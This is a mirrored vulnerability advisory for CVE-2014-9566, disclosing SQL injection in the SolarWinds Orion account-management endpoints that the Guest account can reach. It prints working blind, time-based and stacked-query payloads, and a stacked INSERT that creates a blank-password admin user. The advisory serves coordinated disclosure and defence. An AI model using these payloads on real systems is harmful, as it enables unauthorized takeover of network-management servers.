SolarWinds Orion Service – SQL Injection

  • 作者: Brandon Perry
    日期: 2015-03-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36262/
  • I found a couple SQL injection vulnerabilities in the core Orion service
    used in most of the Solarwinds products (SAM, IPAM, NPM, NCM, etc…). This
    service provides a consistent configuration and authentication layer across
    the products.
    
    To be exact, the vulnerable applications and versions are:
    
    Network Performance Monitor -- < 11.5
    NetFlow Traffic Analyzer -- < 4.1
    Network Configuration Manager -- < 7.3.2
    IP Address Manager -- < 4.3
    User Device Tracker -- < 3.2
    VoIP & Network Quality Manager -- < 4.2
    Server & Application Monitor -- < 6.2
    Web Performance Monitor -- < 2.2
    
    At first glance, the injections are only available to admins, as the
    requests used are on the Manage Accounts page. However, it seems there is
    no real ACL check on the GetAccounts and GetAccountGroups endpoints of the
    AccountManagement.asmx service, which means that even authenticating as
    Guest allows for exploitation. By default, the Guest account has no
    password and is enabled.
    
    On both the GetAccounts and GetAccountGroups endpoints, the 'sort' and
    'dir' parameters are susceptible to boolean-/time-based, and stacked
    injections. By capturing the AJAX requests made by an admin user to these
    endpoints, authenticating as Guest and replacing the admin cookie with the
    Guest cookie, you can still make a successful request, and thus a
    successful exploitation vector for any authenticated user.
    
    Being a stacked injection, this becomes a privilege escalation at the very
    least, as an attacker is able to insert their own admin user. A pull
    request for a Metasploit module which should achieve this on any product
    using the Orion service as the core authentication management system, using
    the GetAccounts endpoint, has been made (
    https://github.com/rapid7/metasploit-framework/pull/4836). By default, the
    module attempts to authenticate as the Guest user with a blank password,
    then exploit the SQL injection to insert a new admin with a blank password.
    
    I am not sure if the non-trial versions allow you to specify your own SQL
    server, but the trials install a SQL Server Express instance. The SQL user
    that the application uses is not an administrator, and the xp_cmd_shell
    stored procedure is unavailable.
    
    Within the GetAccounts endpoint:
    
    Parameter: dir (GET)
    
    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause
    Payload: sort=Accounts.AccountID&dir=ASC,(SELECT (CASE WHEN (5791=5791)
    THEN CHAR(65)+CHAR(83)+CHAR(67) ELSE 5791*(SELECT 5791 FROM
    master..sysdatabases) END))
    
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.AccountID&dir=ASC; WAITFOR DELAY '0:0:5'--
    
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.AccountID&dir=ASC WAITFOR DELAY '0:0:5'--
    
    
    Parameter: sort (GET)
    
    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter
    replace (original value)
    Payload: sort=(SELECT (CASE WHEN (8998=8998) THEN
    CHAR(65)+CHAR(99)+CHAR(99)+CHAR(111)+CHAR(117)+CHAR(110)+CHAR(116)+CHAR(115)+CHAR(46)+CHAR(65)+CHAR(99)+CHAR(99)+CHAR(111)+CHAR(117)+CHAR(110)+CHAR(116)+CHAR(73)+CHAR(68)
    ELSE 8998*(SELECT 8998 FROM master..sysdatabases) END))&dir=ASC
    
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.AccountID; WAITFOR DELAY '0:0:5'--&dir=ASC
    
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.AccountID WAITFOR DELAY '0:0:5'--&dir=ASC
    
    
    
    Within the GetAccountGroups endpoint, very similar injection techniques are
    available:
    
    Parameter: dir (GET)
    
    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause
    Payload: sort=Accounts.GroupPriority&dir=ASC,(SELECT (CASE WHEN
    (8799=8799) THEN CHAR(65)+CHAR(83)+CHAR(67) ELSE 8799*(SELECT 8799 FROM
    master..sysdatabases) END))
    
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.GroupPriority&dir=ASC; WAITFOR DELAY '0:0:5'--
    
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.GroupPriority&dir=ASC WAITFOR DELAY '0:0:5'--
    
    
    Parameter: sort (GET)
    
    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter
    replace (original value)
    Payload: sort=(SELECT (CASE WHEN (1817=1817) THEN
    CHAR(65)+CHAR(99)+CHAR(99)+CHAR(111)+CHAR(117)+CHAR(110)+CHAR(116)+CHAR(115)+CHAR(46)+CHAR(71)+CHAR(114)+CHAR(111)+CHAR(117)+CHAR(112)+CHAR(80)+CHAR(114)+CHAR(105)+CHAR(111)+CHAR(114)+CHAR(105)+CHAR(116)+CHAR(121)
    ELSE 1817*(SELECT 1817 FROM master..sysdatabases) END))&dir=ASC
    
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.GroupPriority; WAITFOR DELAY '0:0:5'--&dir=ASC
    
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.GroupPriority WAITFOR DELAY '0:0:5'--&dir=ASC
    
    
    An example injection to insert an admin user named notadmin with a blank
    password using the 'dir' parameter would be:
    
    ASC;insert into accounts values ('notadmin', '127-510823478-74417-8',
    '/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==',
    'Feb1 2100 12:00AM', 'Y', 'notadmin', 1, '', '', 1, -1, 8, -1, 4, 0, 0,
    0, 0, 0, 0, 'Y', 'Y', 'Y', 'Y', 'Y', '', '', 0, 0, 0, 'N', 'Y', '', 1, '',
    0, '');
    
    This vulnerability was reported to Solarwinds on Dec 8th, 2014 and was
    assigned the CVE identifier CVE-2014-9566. A coordinated disclosure date of
    Feb 24th, 2015 was chosen by both parties. I would like to thank Rob Hock,
    Group Product Manager – Network Management at Solarwinds for the easy
    coordination (you should still have a bug bounty though!).
    
    i can has crazy cool vuln name, yaes? wat about Polarbends, or Molarfriends?
    
    i dub thee Molarfriends vulnerability. wheres my markketing tem...
    
    -- 
    http://volatile-minds.blogspot.com -- blog
    http://www.volatileminds.net -- website